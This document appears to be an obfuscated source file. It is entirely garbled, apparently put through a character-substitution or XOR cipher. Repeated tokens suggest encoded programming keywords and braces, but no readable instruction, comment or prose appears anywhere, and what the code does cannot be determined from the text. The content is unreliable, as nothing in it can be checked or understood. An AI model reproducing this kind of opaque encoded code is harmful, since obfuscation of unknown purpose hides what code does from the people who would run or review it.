]\CQ@MOPP[P #@O					@N[KMFGKOJZ KKAEPBMEYMGE   	iMLEL]Lv][HGZ@LG]KKAEPBMEYMGE  #			ECC[HKED^G[NEKXK #		#####T			JH]JA					}A[F^HKEL			E]GYK]v 			R#FBQKvM[JB\ZMHPE\SPDBZLLFM] 			E]GYK]v #			T		JH]JA			lQJLY]@FG			E]GYK]v 		R#		T#		T#O\GJ]@FG					_MPE]L\N[ #	R#	][P	R#	@O		MLO@GLMKKAEPBMEYMGE   	[L]\[G#					^MCBDLPLE@ONG\EE #		M_XXHYC^C_SP						@^v_XSYHPXKSN [ZKLSD_ 	@^v_XSYHPXKSN  YOFMNL[]NLHE^QB[ZvYCYvYOFMNL[]NLHE^#			XKJ]ZXPYL				[ZKLSD_ #	YEA^CJENGPQ			#		@O					i@^v_XSYHPXKSN XKJ]ZXPYL 		iKKAEPBMEYMGE XKJ]ZXPYL 					  	R#			G_L^XADHCSO					Z][@GN 		iSPDBZLLFM] XKJ]ZXPYL Y]SYF^]_FEM]vYSS^NY]SYF^]_ Y]SYF^]_Y]SYF^]_#		^B@]OHLDFS					@N[KMFGKOJZ @N[KMFGKOJZ  				C^v@Z@\@ACBCLG_L^XADHCSO 						G_L^XADHCSO#					@O		@^v_XSYHPXKSN ^B@]OHLDFS 			@^v_XSYHPXKSN ^B@]OHLDFS 								 			_SMG[M@XJvKJSK\^B@]OHLDFS  	YEA^CJENGPQ								^B@]OHLDFS#	\GZL]G_L^XADHCSO				^B@]OHLDFS #		T#	@O			YEA^CJENGPQ						 			R#XZ^\@KJE^					FZLYYKLLEQ[\Ahkzyh}a					KKAEPBMEYMGE 	  #					J_@[BEONv_			@^v_XSYHPXKSN @^v_XSYHPXKSN  							iNL]vFY]@FGXZ^\@KJE^	 					#			@O		J_@[BEONv_						UU	KKAEPBMEYMGE J_@[BEONv_ 						  		[L]\[GZELvDSKAU^SHFDBXP[ZZELvDSKAw#YEA^CJENGPQ						XY^K]SYF@N@CEQ_[FSPDBZLLFM] J_@[BEONv_  #	@O		YEA^CJENGPQ			UU	KKAEPBMEYMGE YEA^CJENGPQ 						  		[L]\[G###		@O		_SMG[M@XJvKJSK\YEA^CJENGPQ  	R#			FBQKvM[JB\ZMHPE\SPDBZLLFM] 		KKAEPBMEYMGE  #	[L]\[G#			T#					T#		_ONSMO			\PMXQZ\DMJ_]\OH #		NDD]NM^[\QB						_ONSMO					@^v_XSYHPXKSN 							M_XXHYC^C_SP#DNLXJNKZKCNZ					NDD]NM^[\QB							M_XXHYC^C_SP					SPDBZLLFM] #				@O				iSPDBZLLFM] NDD]NM^[\QB  		vGQBQZEPNCOHHMNDD]NM^[\QB			 	][\L #	OPN[v[DLHK_]vC			i@^v_XSYHPXKSN DNLXJNKZKCNZ 		Z][@GN 		i@N[KMFGKOJZ DNLXJNKZKCNZ 					##CME_@\BKOKG]						OHEZL#@O		OPN[v[DLHK_]vC											@N[KMFGKOJZ @N[KMFGKOJZ 			SPDBZLLFM] OPN[v[DLHK_]vC				  				Q@vQCB_E 					_L[Z@FGvJFDYH[LQ@vQCB_Ert		^NKBHS]S^NFHGH^O] 	  	CME_@\BKOKG]										][\L#			\GZL]Q@vQCB_E #					@O				CME_@\BKOKG]					OPN[v[DLHK_]vC				UU	KKAEPBMEYMGE C^v@Z@\@ACBCLOPN[v[DLHK_]vC  							KKAEPBMEYMGE YEA^CJENGPQ   		R#					@O			ZKXOKS\JGG_ZQC@QYDNLXJNKZKCNZ	]ODXFFOB\PHLBFG^YEA^CJENGPQ   					R#XX]L[vEYC^\OZSZ_@JLDNLXJNKZKCNZ				  #	LCEBMJ]BEDNLXJNKZKCNZ #	EHOBPA]OAvHDNLXJNKZKCNZ #T#						T#		\GZL]OPN[v[DLHK_]vC				CME_@\BKOKG] #	@O	@N[KMFGKOJZ SPDBZLLFM]  					@N[KMFGKOJZ KKAEPBMEYMGE   	RPYJOB]]H^F^\FBZ_J^_AA[BDPYJOB]]H^F^#			[X_KEQSJJF			M_XXHYC^C_SP										M_XXHYC^C_SP			@^v_XSYHPXKSN ####				QAHS^]JLvZPC					NL]vFY]@FG@^v_XSYHPXKSN 			H[[HP  ###						@O					@N[KMFGKOJZ QAHS^]JLvZPC  	QAHS^]JLvZPC			H[[HP ####				@O		@^v_XSYHPXKSN [X_KEQSJJF						QAHS^]JLvZPC					][\L  				R#						QAHS^]JLvZPCrt					[X_KEQSJJF#\YMH]LvFY]@FGKKAEPBMEYMGE 				KKAEPBMEYMGE QAHS^]JLvZPC  ###T#				T#	LLNM_ZDJA@QKC					\vJHFGLF__PBZFA]G #							@O	i@N[KMFGKOJZ LLNM_ZDJA@QKC 		UU		vGQBQZEPNCOHHMLLNM_ZDJA@QKC		 	][\L  		R#XHNO]YO			LLNM_ZDJA@QKC										M_XXHYC^C_SP					KKAEPBMEYMGE #		GDNG@HMKv					i@N[KMFGKOJZ XHNO]YO 					Z][@GN 	i@N[KMFGKOJZ XHNO]YO 		#	PJ@PEKAYOv						OHEZL#				@O					GDNG@HMKv															@N[KMFGKOJZ @N[KMFGKOJZ 	@N[KMFGKOJZ GDNG@HMKv			  			HHZEQMKKX 					_L[Z@FGvJFDYH[LHHZEQMKKXrt			^NKBHS]S^NFHGH^O] 				  				PJ@PEKAYOv		][\L#	\GZL]HHZEQMKKX ###	@O	PJ@PEKAYOv					GDNG@HMKv										UU	KKAEPBMEYMGE C^v@Z@\@ACBCLGDNG@HMKv  							KKAEPBMEYMGE YEA^CJENGPQ   						RDGGNPBS_HUHY@^B[Z\DGGNPBS_Hw#@O	ZKXOKS\JGG_ZQC@QYXHNO]YO		]ODXFFOB\PHLBFG^YEA^CJENGPQ   				R##		XX]L[vEYC^\OZSZ_@JLXHNO]YO			  #LCEBMJ]BEXHNO]YO ##				EHOBPA]OAvHXHNO]YO #			T#	EFNH[@]AD@J	HMHY]L[##				T		LEZL@O		PJ@PEKAYOv 					R#	MCCKD]NYC			iKKAEPBMEYMGE XHNO]YO #			@O			MCCKD]NYC				UU	MCCKD]NYC					  							Y[CQSEMDC_  		LCEBMJ]BEXHNO]YO #	\GZL]MCCKD]NYC ###	T#\GZL]GDNG@HMKv		PJ@PEKAYOv #					T#		K@^Y[NAC\OK]^GYEA^CJENGPQ #T			JH]JA		}A[F^HKEL				E]GYK]v 			R##		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #					T	JH]JA				lQJLY]@FG		E]GYK]v 					R#T#T#	O\GJ]@FG			HQJ^@MSE]Ev@XvCS] #		R#					@O	@ZZL]vnl}rYt 			UU		SPDBZLLFM] vnl}rYt  			[L]\[G#		vKYPXYDKBE@MNB									vnl}rYt#@O			vKYPXYDKBE@MNB				^vGQONZLKGDBv@^v_XSYHPXKSN   				R#				][P					R#vHK[JXZ\A				^D]]OFPX_KGKN@ 						FZLYYKLLEQ[\Ahkzyh}a							KKAEPBMEYMGE 	w  				KKAEPBMEYMGE #		PK]GXYFQDQ^L\						i@^v_XSYHPXKSN vHK[JXZ\A 								@G] 		iSPDBZLLFM] vHK[JXZ\A 			#	@O	PK]GXYFQDQ^L\						 				PK]GXYFQDQ^L\					  		R#@GJE\ML		vHK[JXZ\A#		T#T	JH]JA				}A[F^HKEL			E]GYK]v 				R####T				JH]JA		lQJLY]@FG	E]GYK]v 		R#			T#^A@EL				@N[KMFGKOJZ  						iFKvLGMvJELHG  	R#			T####							ALHML[@N[KMFGKOJZ  #LQ@]#				T####			@O			vKYPXYDKBE@MNB							^vGQONZLKGDBv@^v_XSYHPXKSN   		[L]\[G#		][P						R#		@O					KKAEPBMEYMGE SPDBZLLFM]  					KKAEPBMEYMGE @N[KMFGKOJZ   			R#				i\YMH]LvFY]@FG@^v_XSYHPXKSN 		@G] 		iNL]vFY]@FGKKAEPBMEYMGE 		 							KKAEPBMEYMGE  ###		i\YMH]LvFY]@FGSPDBZLLFM] 			@N[KMFGKOJZ  	SPDBZLLFM]  #	T#NGCCPSX@F				FMQHASYASG@v@N[KMFGKOJZ 				 ##		@O	@N[KMFGKOJZ NGCCPSX@F 								 				@N[KMFGKOJZ @^v_XSYHPXKSN 		NGCCPSX@F 				KKAEPBMEYMGE @^v_XSYHPXKSN 	NGCCPSX@F  			R##		EFD@FvN					iSPDBZLLFM] NGCCPSX@F						][\L #@O		EFD@FvN				OHEZL			KKAEPBMEYMGE EFD@FvN 											  		NGCCPSX@F			EFD@FvN####T#		@O		SPDBZLLFM] NGCCPSX@F 					  				NGCCPSX@F					CSLCF_@vP #		@O		@N[KMFGKOJZ NGCCPSX@F 				  		R#	^A@EL				SPDBZLLFM]  													iFKvLGMvJELHG  		RYQLNKCF\CMQYQLNK#								T#			ALHML[SPDBZLLFM]  #	ALHML[KKAEPBMEYMGE  #					ALHML[@N[KMFGKOJZ  #		LQ@]##	T#	@KK]HX_LGK								FMQHASYASG@vKKAEPBMEYMGE 		 #		^BXCYNBQ[Q\]										SPDBZLLFM] @KK]HX_LGK							NGCCPSX@F 						####		@O	@ZZL]vzl{l{rSPDBZLLFM] t 							@^v_XSYHPXKSN vzl{l{r@N[KMFGKOJZ t 			^BXCYNBQ[Q\] 	R#^A@EL			@N[KMFGKOJZ  								iFKvLGMvJELHG  	R#			T#	ALHML[@^v_XSYHPXKSN  ###				ALHML[SPDBZLLFM] 						^BXCYNBQ[Q\] #				LQ@]#				T#^A@EL			@^v_XSYHPXKSN  														iFKvLGMvJELHG  					R#				T#ALHML[@^v_XSYHPXKSN  #					ALHML[@^v_XSYHPXKSN  #							ALHML[@^v_XSYHPXKSN  #	ALHML[@^v_XSYHPXKSN 		^BXCYNBQ[Q\] ####				LJAF		@KK]HX_LGK			NGCCPSX@F#				LQ@]#			T	JH]JA					}A[F^HKEL	E]GYK]v 	R##					FBQKvM[JB\ZMHPE\SPDBZLLFM] 	E]GYK]v #	T					JH]JA			lQJLY]@FG			E]GYK]v 		R#					FBQKvM[JB\ZMHPE\SPDBZLLFM] 	E]GYK]v ##T#	~y	zEF]	o@EE	Y[FCLJ]	@GCLJ]F[##		T#HQJ^@MSE]Ev@XvCS] #					O\GJ]@FG				XH^QLFPJ]O #R#	@O	@ZZL]vnl}r@^v_XSYHPXKSN t  		[L]\[G#][P	R#	YH\[Z@FNv						vnl}rKKAEPBMEYMGE t#	@O			@N[KMFGKOJZ YH\[Z@FNv 				UU		YH\[Z@FNv						 					[L]\[G#YH\[Z@FNv		@^v_XSYHPXKSN YH\[Z@FNv #		KXF\LZCv			H[[HP #			@O			KKAEPBMEYMGE SPDBZLLFM]   			KXF\LZCvrt		Z][@GN 						SPDBZLLFM] AFDLv\[E 	yayv|{evafz} #@O				KKAEPBMEYMGE SPDBZLLFM]   				R###	vN]^LXYZC										Z][@GN 				iNL]vFY]@FGKKAEPBMEYMGE 		 #							@O	vN]^LXYZC							 	KXF\LZCvrt					Z][@GN 			KKAEPBMEYMGE vN]^LXYZC			yayv|{evafz} #						T##@O	@ZZL]vzl{l{rSPDBZLLFM] t  						KXF\LZCvrt				Z][@GN 		vzl{l{r@^v_XSYHPXKSN t#			KXF\LZCvrt			^NSJYZ_PLBFXKO ###OP^LXX[HZOXQ			OHEZL#	OF[LHJA				@^v_XSYHPXKSN KXF\LZCv 					HZ		_JQ]ZSF 						ROGFJ_Yyayv`g}vdhqyayv`g}vdhqM[vN_BM@S[OGFJ_Y#		@O		@N[KMFGKOJZ _JQ]ZSF 	UU		_JQ]ZSF							 			JFG]@G\L##			@O	@N[KMFGKOJZ _JQ]ZSF		 		OHEZL 				_JQ]ZSF										SPDBZLLFM] @N[KMFGKOJZ 									_JQ]ZSF #						@O				FZLYYKLLEQ[\A@N[KMFGKOJZ _JQ]ZSF 			@N[KMFGKOJZ 	w  					YH\[Z@FNv 				R##			OP^LXX[HZOXQ			][\LQ__[N]v\yayvdhcf{vl{z`fg^MX_HPXQ__[N]v\####K[LHB#T#			T#	@O	OP^LXX[HZOXQ 			[L]\[G#	EBBCZQD\L								@N[KMFGKOJZ @^v_XSYHPXKSN 		w  #			OGDMYCBX[J								XY^K]SYF@N@CEQ_[F\vQGYOGYCKO_J@PvEBBCZQD\L  #	^A@EL		KKAEPBMEYMGE  							iFKvLGMvJELHG  				R#	T#	ALHML[SPDBZLLFM]  #	ALHML[KKAEPBMEYMGE  #		LJAF			OGDMYCBX[J						EBBCZQD\L 			KKAEPBMEYMGE 			KKAEPBMEYMGE EBBCZQD\L 		SPDBZLLFM] ###			LQ@]#	##		T			JH]JA	}A[F^HKEL		E]GYK]v 			R#				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 					E]GYK]v #				T	JH]JA	lQJLY]@FG				E]GYK]v 			R#			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		E]GYK]v #					T#	T#			XH^QLFPJ]O #							O\GJ]@FG			[CMAX_XY\@B[\BN\ #		R#	][P	R#@O		SPDBZLLFM] SPDBZLLFM]   	[FJBL]vJELHGvMFDH@G #						@O				@N[KMFGKOJZ SPDBZLLFM]   		^]JvOE\ZAvHEE #@O		KKAEPBMEYMGE @N[KMFGKOJZ   			ZNvJHJALY[LZZvY\[NLvJHJAL ###@O				KKAEPBMEYMGE SPDBZLLFM]   	E@]LZYLLMvY\[NLvHEE #		LEZL@O	@^v_XSYHPXKSN SPDBZLLFM]  						@N[KMFGKOJZ @N[KMFGKOJZ 				SPDBZLLFM]   	e@]LzYLLMvjHJALvhy`Y\[NLvHEE #			@O			@^v_XSYHPXKSN @N[KMFGKOJZ  			SPDBZLLFM] @^v_XSYHPXKSN 		SPDBZLLFM]   				k[LLSLvy\[NLjHJALK[LLSLvJHJALvOE\ZA #	@O	@N[KMFGKOJZ @N[KMFGKOJZ  				KKAEPBMEYMGE KKAEPBMEYMGE 	@N[KMFGKOJZ   		jHJALvlGHKEL[JELH[v]F]HEvJHJAL ###						@O		@N[KMFGKOJZ @N[KMFGKOJZ   				^YOJvJELH[vHEEvJHJAL #	LEZL@O		@ZZL]nefkhezr@^v_XSYHPXKSN t 				SPDBZLLFM] nefkhezrKKAEPBMEYMGE t 						@^v_XSYHPXKSN nefkhezr@N[KMFGKOJZ t		@N[KMFGKOJZ   			nefkhezr@^v_XSYHPXKSN tMLEL]LjHJAL][\L #		@O		SPDBZLLFM] KKAEPBMEYMGE   	^YvJHJALvJELH[vJHJAL ###					@O	KKAEPBMEYMGE @^v_XSYHPXKSN  				KKAEPBMEYMGE KKAEPBMEYMGE 			KKAEPBMEYMGE   		H\]FY]@D@SLjHJALJELH[HEE #		FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		KKAEPBMEYMGE  #	T				JH]JA		}A[F^HKEL			E]GYK]v 					R####				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		E]GYK]v #		T		JH]JA			lQJLY]@FG	E]GYK]v 				R#						T#		T##		O\GJ]@FG	A]@ZK[DYFCHX\JY #R#@O		@^v_XSYHPXKSN @^v_XSYHPXKSN  									@ZvHMD@G  	[L]\[G	][\L#								@O			@N[KMFGKOJZ @N[KMFGKOJZ  					^YvMF@GNvHCHQ  		[L]\[G	][\L#				@O	MLO@GLMSPDBZLLFM]  		{lz}v{lx|lz} 			[L]\[G	][\L#@O	MLO@GLMKKAEPBMEYMGE  						qde{yjv{lx|lz} 			[L]\[G			][\L#@O			KKAEPBMEYMGE SPDBZLLFM]  								@ZvOLLM  		[L]\[G	][\L#							@O	SPDBZLLFM] @^v_XSYHPXKSN  						@Zv[FKF]Z  			[L]\[G	][\L###				@O	SPDBZLLFM] SPDBZLLFM]  				@ZvZ@]LDHYZ  			[L]\[G			][\L##@O		@N[KMFGKOJZ SPDBZLLFM]  					@ZvJ\Z]FD@SLvY[L_@L^  			[L]\[G			][\L#		@O	@ZZL]vnl}rSPDBZLLFM] t 					UU		@ZZL]vnl}r@^v_XSYHPXKSN t 		UU		@ZZL]vnl}r@^v_XSYHPXKSN t  	[L]\[G	][\L###		[L]\[G			OHEZL####T#O\GJ]@FG	LFXJFSQ@vLZB\@B_BZ ####		RD\@JFMO@O]PMDLGKHGD\@JFM#				G_^v]QHN_HL					@ZZL]nefkhezrKKAEPBMEYMGE t 				SPDBZLLFM] nefkhezrKKAEPBMEYMGE t  						@N[KMFGKOJZ nefkhezrSPDBZLLFM] t 							####@O	G_^v]QHN_HL							 	[L]\[G	#G_^v]QHN_HL				@N[KMFGKOJZ @N[KMFGKOJZ 					KKAEPBMEYMGE 			G_^v]QHN_HL #		]DYD_^LXOEJ					@^v_XSYHPXKSN KKAEPBMEYMGE  										Z][@GN 		@N[KMFGKOJZ AFDLv\[E 	yayv|{evafz} 									#		E\DQ_CPCQKXS^							FZLYYKLLEQ[\ASPDBZLLFM] ]DYD_^LXOEJ 			  #				GSMA]A]KD								KKAEPBMEYMGE @^v_XSYHPXKSN G_^v]QHN_HL 				  #	[L]\[G	uGZJ[@Y]	MH]HZJu						E\DQ_CPCQKXS^								GSMA]A]KD			uuG											G_^v]QHN_HL			uGZJ[@Y]uG	ZJ								E\DQ_CPCQKXS^											GSMA]A]KD										uG#T#	O\GJ]@FG			ZZYCNBG[KMDJ@ #R#					][P		R#							@O			A]@ZK[DYFCHX\JY  				[L]\[G##					B[DP^QLPDv[FCQ				LFXJFSQ@vLZB\@B_BZ #						@O		B[DP^QLPDv[FCQ					 	[L]\[G#					LJAF		B[DP^QLPDv[FCQ#	nefkhezrSPDBZLLFM] t			][\L#		@O	SPDBZLLFM] @N[KMFGKOJZ  							@N[KMFGKOJZ SPDBZLLFM]  				LDY]PnefkhezrKKAEPBMEYMGE t  	R#		nefkhezr@^v_XSYHPXKSN t					][\L#				_MAE@\_\EJ								@G] 			iNL]vFY]@FGKKAEPBMEYMGE 		 #		@O	KKAEPBMEYMGE  								_MAE@\_\EJ						  		i\YMH]LvFY]@FGSPDBZLLFM] 	@^v_XSYHPXKSN  			@N[KMFGKOJZ  #			\GZL]_MAE@\_\EJ #T#	T	JH]JA				}A[F^HKEL		E]GYK]v 		R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E]GYK]v #T	JH]JA	lQJLY]@FG	E]GYK]v 	R####T#				T#		O\GJ]@FG	QJELBLPG@HDBKJ@ABQXQ]_^ #	R#			@O					@N[KMFGKOJZ @ABQXQ]_^ 	UU	@ABQXQ]_^							 				[L]\[G			@ABQXQ]_^#@O		LDY]Pnefkhezr@^v_XSYHPXKSN t  					[L]\[G		@ABQXQ]_^#			B[DP^QLPDv[FCQ			LFXJFSQ@vLZB\@B_BZ #	@O		B[DP^QLPDv[FCQ			 	[L]\[G	@ABQXQ]_^###				@O			Z][@YFZ@ABQXQ]_^			@N[KMFGKOJZ  			OHEZL		Z][@YFZ@ABQXQ]_^			@N[KMFGKOJZ  			OHEZL 						[L]\[G			@ABQXQ]_^##				nefkhezr@^v_XSYHPXKSN t				][\L#	nefkhezrSPDBZLLFM] t									][\L###	YJv\MLHJGQG				Z][@YFZ@ABQXQ]_^	@^v_XSYHPXKSN  #		@O			YJv\MLHJGQG							OHEZL 		R#[L]\[G				SPDBZLLFM] @ABQXQ]_^			YJv\MLHJGQG 					B[DP^QLPDv[FCQ		@N[KMFGKOJZ @ABQXQ]_^		YJv\MLHJGQG #		T#	yay		O@KL[Z	LX\@_H[@HG]	MH]HOEF^N[HYA##		[L]\[G		@ABQXQ]_^							B[DP^QLPDv[FCQ#T#					O\GJ]@FG					ZBEOMGD^XG[@E #R#			][P			R#	~y	kEFJBjFG][FEZ	@GOL[	Y@YLE@GL###@O		A]@ZK[DYFCHX\JY  			[L]\[G#			@O		LDY]Pnefkhezr@N[KMFGKOJZ t  	[L]\[G#					G_^v]QHN_HL		@ZZL]nefkhezr@^v_XSYHPXKSN t 				KKAEPBMEYMGE nefkhezrKKAEPBMEYMGE t  							SPDBZLLFM] nefkhezr@N[KMFGKOJZ t 					MO@OO]@DYyayvdhcf{vl{z`fg@AOF[vYMCBGMO@OO]@DY#@O					G_^v]QHN_HL			 	[L]\[G#nefkhezrKKAEPBMEYMGE t							][\L#								i@N[KMFGKOJZ @^v_XSYHPXKSN  #	T	JH]JA			}A[F^HKEL	E]GYK]v 				R#		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #			T	JH]JA					lQJLY]@FG					E]GYK]v 		R#			T#		T#			O\GJ]@FG		ALCEZZJ\\]DBY@@ ##								R#			][P			R#		@O	@ZvHMD@G 					@ZZL]nefkhezrSPDBZLLFM] t 		UU	nefkhezr@N[KMFGKOJZ t					KKAEPBMEYMGE   		[L]\[G#	@O		SPDBZLLFM] @^v_XSYHPXKSN  							@ZvZZE  	[L]\[G#		MJKM\LCKAOJD^				FMQHASYASG@vSPDBZLLFM] 				 ###			E\DQ_CPCQKXS^								FZLYYKLLEQ[\Ahkzyh}a					@^v_XSYHPXKSN 			w  #	M_O^O_\[							@N[KMFGKOJZ #	@O			MJKM\LCKAOJD^							 	R#		@O				@^v_XSYHPXKSN SPDBZLLFM]  				@G] 		iNL]vFY]@FG@^v_XSYHPXKSN 			  				R#						i\YMH]LvFY]@FG@N[KMFGKOJZ 						@^v_XSYHPXKSN  #X\_Q[_GSDBD			Z][@GN 				iNL]vFY]@FG@^v_XSYHPXKSN 	 #					LJAF		uG				@^v_XSYHPXKSN 						E\DQ_CPCQKXS^				#						@N[KMFGKOJZ #							@^v_XSYHPXKSN 							M_O^O_\[@^v_XSYHPXKSN  						SPDBZLLFM] #					@^v_XSYHPXKSN 						SPDBZLLFM] X\_Q[_GSDBD 					#					@^v_XSYHPXKSN 							M_O^O_\[@N[KMFGKOJZ  								SPDBZLLFM] #		KKAEPBMEYMGE 				M_O^O_\[SPDBZLLFM]  								@N[KMFGKOJZ 		M_O^O_\[@N[KMFGKOJZ  					@^v_XSYHPXKSN 				M_O^O_\[KKAEPBMEYMGE  			SPDBZLLFM] 					M_O^O_\[KKAEPBMEYMGE  				@N[KMFGKOJZ #						KKAEPBMEYMGE 						M_O^O_\[@N[KMFGKOJZ  						SPDBZLLFM] 			M_O^O_\[SPDBZLLFM]  						KKAEPBMEYMGE ###									@^v_XSYHPXKSN 						uG#\GZL]X\_Q[_GSDBD #		T##						[L]\[G#	T####MJKM\LCKAOJD^			@^v_XSYHPXKSN @^v_XSYHPXKSN 		@N[KMFGKOJZ 					MJKM\LCKAOJD^ #			@O	KKAEPBMEYMGE MJKM\LCKAOJD^		@^v_XSYHPXKSN  							 		MJKM\LCKAOJD^					@^v_XSYHPXKSN 			@^v_XSYHPXKSN MJKM\LCKAOJD^	 ####	KvAL]AAOPF				#			@O	KKAEPBMEYMGE @^v_XSYHPXKSN   					R##						_Z@Dv				Z][@GN 					@^v_XSYHPXKSN AFDLv\[E 		yayv|{evyh}a #						@O				_Z@Dv												_Z@Dv			 	KvAL]AAOPF								KKAEPBMEYMGE _Z@Dv	 					#								T#							@O				SPDBZLLFM] SPDBZLLFM]   	R#		i\YMH]LvFY]@FGSPDBZLLFM] 			@^v_XSYHPXKSN  #				i\YMH]LvFY]@FGKKAEPBMEYMGE 	MJKM\LCKAOJD^	SPDBZLLFM]  #	T#				ZLQ_JSMQOE						@N[KMFGKOJZ 			E\DQ_CPCQKXS^						#	KKAEPBMEYMGE #						SPDBZLLFM] 							M_O^O_\[@^v_XSYHPXKSN  						@^v_XSYHPXKSN #			KKAEPBMEYMGE #						KKAEPBMEYMGE 				M_O^O_\[KKAEPBMEYMGE  					@N[KMFGKOJZ 					SPDBZLLFM] MJKM\LCKAOJD^ 						 #			@^v_XSYHPXKSN 								M_O^O_\[@N[KMFGKOJZ  			@N[KMFGKOJZ 		KKAEPBMEYMGE MJKM\LCKAOJD^ 					@^v_XSYHPXKSN 		SPDBZLLFM] KvAL]AAOPF 				SPDBZLLFM] 						M_O^O_\[@N[KMFGKOJZ  							@^v_XSYHPXKSN #		SPDBZLLFM] 						M_O^O_\[SPDBZLLFM]  				@^v_XSYHPXKSN #								SPDBZLLFM] 				M_O^O_\[@N[KMFGKOJZ  				KKAEPBMEYMGE 									M_O^O_\[@^v_XSYHPXKSN  					KKAEPBMEYMGE #			SPDBZLLFM] 			M_O^O_\[@N[KMFGKOJZ  						KKAEPBMEYMGE #					KKAEPBMEYMGE #								KKAEPBMEYMGE 				M_O^O_\[KKAEPBMEYMGE  					KKAEPBMEYMGE ####				SPDBZLLFM] 				M_O^O_\[SPDBZLLFM]  		@N[KMFGKOJZ 						M_O^O_\[KKAEPBMEYMGE  			@N[KMFGKOJZ #					KKAEPBMEYMGE #LJAF					uG			ZLQ_JSMQOE								uG#		T		JH]JA					}A[F^HKEL			E]GYK]v 				R#			FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	E]GYK]v #					T						JH]JA	lQJLY]@FG		E]GYK]v 						R####			FBQKvM[JB\ZMHPE\SPDBZLLFM] 		E]GYK]v ####		T#			T#	#	@O		CKMX^JSGYXNH  						R#	[L]\[G#		T#LCQ^D_NvFJEN[SF #	CH^@QAvHOAJF					iSPDBZLLFM] [ZKLSD_  #	@O			CH^@QAvHOAJF		UU	CH^@QAvHOAJF			QJKQH  						Y[CQSEMDC_  		R#						BM\@GO@BJHNP			@N[KMFGKOJZ  ####						JBA\G@vQJPN]M][ZKLSD_ 					BM\@GO@BJHNP							BM\@GO@BJHNP			   					Y[CQSEMDC_  ##			\GZL]BM\@GO@BJHNP #T#					\GZL]CH^@QAvHOAJF #	][P	R##\G_S\QHCNAFN^Q		vvo`elvv#	\NPBMDK]				#		]EN[HGM						i@N[KMFGKOJZ \G_S\QHCNAFN^Q		OHEZL		G\EE						  #	@O		SPDBZLLFM] ]EN[HGM 				KKAEPBMEYMGE @^v_XSYHPXKSN 	]EN[HGM				LYBZZN\ZCKEP  		\NPBMDK]				LYBZZN\ZCKEPrt##				@O	\NPBMDK]										MLO@GLM@^v_XSYHPXKSN   					R#DNHvHHKHYHEA					H[[HP ###			MLMYKFHZ		MLO@GLM@N[KMFGKOJZ  							~yd|vye|n`gvm`{							~yvjfg}lg}vm`{						@N[KMFGKOJZ ##	GD[]QMCY				MLO@GLM@N[KMFGKOJZ  							~yvye|n`gvm`{				~yvjfg}lg}vm`{				KKAEPBMEYMGE #	EKFDOYLA_HZD				OHEZL#			@O		SPDBZLLFM] @N[KMFGKOJZ   				R##	vQB]\]Dv												iKKAEPBMEYMGE MLMYKFHZ 					iKKAEPBMEYMGE MLMYKFHZ										SPDBZLLFM]  			OHEZL#			NJ@A]]PCZO^C				i@N[KMFGKOJZ GD[]QMCY				SPDBZLLFM]  #			@O	KKAEPBMEYMGE vQB]\]Dv 	UU		@N[KMFGKOJZ NJ@A]]PCZO^C  		R###	EKFDOYLA_HZD								][\L#OF[LHJA			H[[HP 			vQB]\]Dv		HZ		A_Q[PEOvXZA 					DNHvHHKHYHEArt						A_Q[PEOvXZA#		OF[LHJA		H[[HP 		NJ@A]]PCZO^C						HZ					A_Q[PEOvXZA 	DNHvHHKHYHEArt				A_Q[PEOvXZA#T###			\GZL]vQB]\]Dv				NJ@A]]PCZO^C #		T#		@O				EKFDOYLA_HZD 	R#				LSLNPE[		i@N[KMFGKOJZ MLMYKFHZ 				\Z\AGLAZAHZXB\MLMYKFHZ 				OHEZL#							@O					KKAEPBMEYMGE LSLNPE[  			OF[LHJA	LSLNPE[			HZ	MEKZDQ^LDEZ[ 				R###						@O			KKAEPBMEYMGE MEKZDQ^LDEZ[		  					@N[KMFGKOJZ  				DNHvHHKHYHEArt				MLMYKFHZ															MEKZDQ^LDEZ[#T#							LSLNPE[						i@N[KMFGKOJZ GD[]QMCY 						\Z\AGLAZAHZXB\GD[]QMCY 					OHEZL#			@O		SPDBZLLFM] LSLNPE[  	OF[LHJA			LSLNPE[				HZ				MEKZDQ^LDEZ[ 	R##				QvMES^						GD[]QMCY									MEKZDQ^LDEZ[#	@O		iSPDBZLLFM] QvMES^  	JFG]@G\L###G\\OPXEPXv			\Z\AGLAZAHZXB\QvMES^ #						@O	@^v_XSYHPXKSN G\\OPXEPXv  			JFG]@G\L#OF[LHJA			G\\OPXEPXv			HZ			HCZDKA[Q 		R####	@O		KKAEPBMEYMGE HCZDKA[Q				QQ  							@N[KMFGKOJZ  	DNHvHHKHYHEArt							QvMES^										HCZDKA[Q#						T#	T#		\GZL]LSLNPE[	MEKZDQ^LDEZ[	HCZDKA[Q				QvMES^						G\\OPXEPXv #T#								_DY[KSCEKADFL\								@N[KMFGKOJZ \G_S\QHCNAFN^Q		@^v_XSYHPXKSN  #						OF[LHJA			DNHvHHKHYHEA		HZ	A_Q[PEOvXZA 		R#			@O		A_Q[PEOvXZA				\G_S\QHCNAFN^Q 		JFG]@G\L##		_ENAZZNP_B@C					i@N[KMFGKOJZ A_Q[PEOvXZA ##		@O					_ENAZZNP_B@C		UU		_ENAZZNP_B@C						  			QKOQKJ  		R#AJGBCvO\S					i@N[KMFGKOJZ A_Q[PEOvXZA #						@O				AJGBCvO\S		UU		AJGBCvO\S			 					UU	AJGBCvO\S								  		JFG]@G\L#				T#	]EN[HGM				i@^v_XSYHPXKSN A_Q[PEOvXZA			OHEZL	G\EE			QQK  #							@O	@N[KMFGKOJZ ]EN[HGM 	UU	@^v_XSYHPXKSN ]EN[HGM		@^v_XSYHPXKSN  				OHEZL 			JFG]@G\L#		@O	@^v_XSYHPXKSN KKAEPBMEYMGE 	]EN[HGM	LYBZZN\ZCKEP  				JFG]@G\L#				@O				@N[KMFGKOJZ A_Q[PEOvXZA	@N[KMFGKOJZ  				_DY[KSCEKADFL\						LYBZZN\ZCKEPrt			\NPBMDK] 					R#		@O		G_JS\F^JAQ[A_Q[PEOvXZA  						R####							@O	A[E_SCK^\vBYA_Q[PEOvXZA	A_Q[PEOvXZA			@N[KMFGKOJZ  									@N[KMFGKOJZ